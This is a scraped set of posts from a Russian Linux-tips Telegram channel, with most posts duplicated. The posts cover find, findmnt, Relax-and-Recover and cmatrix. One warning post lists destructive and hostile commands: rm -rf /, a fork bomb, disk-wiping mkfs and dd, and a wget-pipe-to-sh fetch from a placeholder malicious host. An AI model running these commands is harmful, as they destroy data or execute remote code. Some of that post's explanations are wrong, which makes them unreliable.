Поиск и удаление пустых директорий
🔍 Что делает команда:
*
*
*
✅ Пример:
Удалит все пустые папки в
⚠️ Осторожно! Убедитесь, что указали правильный путь, чтобы случайно не удалить важные директории.
Если хотите сначала посмотреть, что будет удалено, используйте без
👉 @linuxchmod
find /путь/к/директории -type d -empty -delete
🔍 Что делает команда:
*
-type d
— ищем только директории*
-empty
— только пустые*
-delete
— удаляем найденные✅ Пример:
find /var/log -type d -empty -delete
Удалит все пустые папки в
/var/log
.⚠️ Осторожно! Убедитесь, что указали правильный путь, чтобы случайно не удалить важные директории.
Если хотите сначала посмотреть, что будет удалено, используйте без
-delete
:
find /var/log -type d -empty
👉 @linuxchmod
👍4
Команда findmnt
Это простая утилита командной строки, используемая для отображения списка подключенных файловых систем или поиска файловой системы в /etc/fstab, /etc/mtab или /proc/self/ mountinfo.
Для отображения списка подключенных файловых систем, выполните в командной строке следующую команду.
По умолчанию команда findmnt отображает файловые системы в древовидном формате.
Чтобы отобразить информацию в виде обычного списка, используйте параметр -l, как показано ниже
Можно выбрать отображение файловых систем только определенного типа, используя параметр командной строки -t, за которым следует тип файловой системы, такой как XFS или EXT4.
Поиск файловой системы, используя точку монтирования.
Например, следующая команда отображает все файловые системы /etc/fstab, где каталогом точки монтирования является /mnt/external/disk2.
или
Выводим все файловые системы /etc/fstab и преобразовываем теги LABEL = и UUID = в реальные имена устройств, добавьте ключ – –evaluate
Отобразить только точку монтирования, в которой смонтирована файловая система с меткой «/ boot» или «/», используйте следующую команду.
Findmnt также позволяет отслеживать действия по монтированию, размонтированию, перемонтированию и перемещению каталога, например, в /mnt/test.
Если вы хотите больше информации в выводе, используйте ключ –verbose.
👉 @linuxchmod
Это простая утилита командной строки, используемая для отображения списка подключенных файловых систем или поиска файловой системы в /etc/fstab, /etc/mtab или /proc/self/ mountinfo.
Для отображения списка подключенных файловых систем, выполните в командной строке следующую команду.
По умолчанию команда findmnt отображает файловые системы в древовидном формате.
# findmnt
Чтобы отобразить информацию в виде обычного списка, используйте параметр -l, как показано ниже
# findmnt -l
Можно выбрать отображение файловых систем только определенного типа, используя параметр командной строки -t, за которым следует тип файловой системы, такой как XFS или EXT4.
# findmnt --fstab -t xfs
или # findmnt --fstab -t ext4
Поиск файловой системы, используя точку монтирования.
Например, следующая команда отображает все файловые системы /etc/fstab, где каталогом точки монтирования является /mnt/external/disk2.
# findmnt --fstab /mnt/external/disk2
#this prints bind mounts where /mnt/external/disk2 is a sourceили
# findmnt --fstab --target /mnt/external/disk2
Выводим все файловые системы /etc/fstab и преобразовываем теги LABEL = и UUID = в реальные имена устройств, добавьте ключ – –evaluate
# findmnt --fstab --evaluate
Отобразить только точку монтирования, в которой смонтирована файловая система с меткой «/ boot» или «/», используйте следующую команду.
# findmnt -n --raw --evaluate --output=target LABEL=/boot
или # findmnt -n --raw --evaluate --output=target LABEL=/
Findmnt также позволяет отслеживать действия по монтированию, размонтированию, перемонтированию и перемещению каталога, например, в /mnt/test.
# findmnt --poll --mountpoint /mnt/test
Если вы хотите больше информации в выводе, используйте ключ –verbose.
# findmnt --real --verbose
👉 @linuxchmod
👍5
This media is not supported in your browser
VIEW IN TELEGRAM
Relax-and-Recover
Решение для аварийного восстановления и миграции систем на новое железо под управлением Linux (ср. mksysb,
ignite)
Relax-and-Recover создает загрузочный образ. Этот образ может переразметить систему. После этого запускается восстановление из резервной копии. Возможно восстановление на другое оборудование. Поэтому Relax-and-Recover можно использовать и как инструмент миграции.
В настоящее время Relax-and-Recover поддерживает различные загрузочные носители (включая ISO, PXE, ленту OBDR, USB или eSATA), разнообразные сетевые протоколы (включая sftp, ftp, http, nfs, cifs), а также множество стратегий резервного копирования (включая IBM TSM, CommVault, Micro Focus Data Protector, Symantec NetBackup, Bareos, Bacula, rsync, Borg).
Решение Relax-and-Recover было разработано для простой настройки, не требует обслуживания и готово прийти на помощь в случае бедствия. Его характер "установил и забыл" устраняет любые оправдания для отсутствия решения по аварийному восстановлению.
https://relax-and-recover.org/
https://github.com/rear/rear
👉 @linuxchmod
Решение для аварийного восстановления и миграции систем на новое железо под управлением Linux (ср. mksysb,
ignite)
Relax-and-Recover создает загрузочный образ. Этот образ может переразметить систему. После этого запускается восстановление из резервной копии. Возможно восстановление на другое оборудование. Поэтому Relax-and-Recover можно использовать и как инструмент миграции.
В настоящее время Relax-and-Recover поддерживает различные загрузочные носители (включая ISO, PXE, ленту OBDR, USB или eSATA), разнообразные сетевые протоколы (включая sftp, ftp, http, nfs, cifs), а также множество стратегий резервного копирования (включая IBM TSM, CommVault, Micro Focus Data Protector, Symantec NetBackup, Bareos, Bacula, rsync, Borg).
Решение Relax-and-Recover было разработано для простой настройки, не требует обслуживания и готово прийти на помощь в случае бедствия. Его характер "установил и забыл" устраняет любые оправдания для отсутствия решения по аварийному восстановлению.
https://relax-and-recover.org/
https://github.com/rear/rear
👉 @linuxchmod
👍5
Зайд Менк, 17-летний студент из Зимбабве, потратил более 3 месяцев на создание масштабной модели Манхэттена из переработанных компьютерных деталей.
👉 @linuxchmod
👉 @linuxchmod
🔥9👍6💩1
This media is not supported in your browser
VIEW IN TELEGRAM
CMatrix
Основана на заставке к фильму "Матрица". Показывает текст, прокручивающийся в терминале, может прокручивать строки с одинаковой скоростью или асинхронно и с заданной пользователем скоростью.
Установка
Включите асинхронную прокрутку:
Отображение красного текста:
Включить режим радуги:
Установите задержку обновления экрана на 2 сантисекунды:
Исходный код доступен на GitHub.
👉 @linuxchmod
Основана на заставке к фильму "Матрица". Показывает текст, прокручивающийся в терминале, может прокручивать строки с одинаковой скоростью или асинхронно и с заданной пользователем скоростью.
Установка
$ sudo apt-get install cmatrix
# LinuxВключите асинхронную прокрутку:
cmatrix -a
Отображение красного текста:
cmatrix -C {{red}}
Включить режим радуги:
cmatrix -r
Установите задержку обновления экрана на 2 сантисекунды:
cmatrix -u {{2}}
Исходный код доступен на GitHub.
👉 @linuxchmod
👍4😁2
11 опасных команд Linux, которые вы никогда не должны запускать
👉 @linuxchmod
rm -rf /
- Эта команда удалит все файлы и папки на вашем компьютере. Не запускайте ее, если не хотите потерять все свои данные. :(){ :|: & };:
- Это команда, также известная как "fork bomb", может вызвать переполнение памяти на вашем компьютере и привести к аварийному завершению системы. mkfs.ext4 /dev/sda
- Эта команда форматирует жесткий диск без какого-либо предупреждения или подтверждения. Все данные будут утеряны. dd if=/dev/random of=/dev/sda
- Эта команда перезапишет все данные на жестком диске случайными значениями, что приведет к потере данных. chmod 777 /
- Эта команда откроет полный доступ к вашей файловой системе для всех пользователей, что может привести к нарушению безопасности. mv /home/* /dev/null
- Эта команда переместит все файлы в вашей домашней директории в "null", что означает, что они будут утеряны. wget https://example.com/file -O /dev/null
- Эта команда загрузит файл и перезапишет все данные в "null", что приведет к потере данных. mkfs.ext4 /dev/sda1
- Эта команда форматирует раздел жесткого диска без какого-либо предупреждения или подтверждения. Все данные на этом разделе будут утеряны. ln -s /dev/null /etc/passwd
- Эта команда создаст символическую ссылку на "/etc/passwd" в "null", что приведет к потере данных. echo "Hello" > /dev/sda
- Перезапишите свой раздел, это заменит ваш раздел, содержащий все данные, необходимые для загрузки системы, строкой «Hello». wget https://malicious_source -O- | sh
- Такие команды будут загружать и запускать в вашей системе вредоносные сценарии, которые могут подорвать безопасность вашей системы.👉 @linuxchmod
👍6🤔2
Электронная почта
Как работает электронная почта
Полноценный почтовый сервер за 15 минут
Настройка Postfix. Режимы работы почтовых серверов
Протокол SMTP, расширение STARTTLS и то, что не стоит поминать
DNS записи для почтовых серверов
Документация по Postfix
Как работает электронная почта
Режимы работы почтовых серверов
Про порты и шифрование в почтовых серверах
DNS записи для почтовых серверов
источник
👉 @linuxchmod
Как работает электронная почта
Полноценный почтовый сервер за 15 минут
Настройка Postfix. Режимы работы почтовых серверов
Протокол SMTP, расширение STARTTLS и то, что не стоит поминать
DNS записи для почтовых серверов
Документация по Postfix
Как работает электронная почта
Режимы работы почтовых серверов
Про порты и шифрование в почтовых серверах
DNS записи для почтовых серверов
источник
👉 @linuxchmod
👍3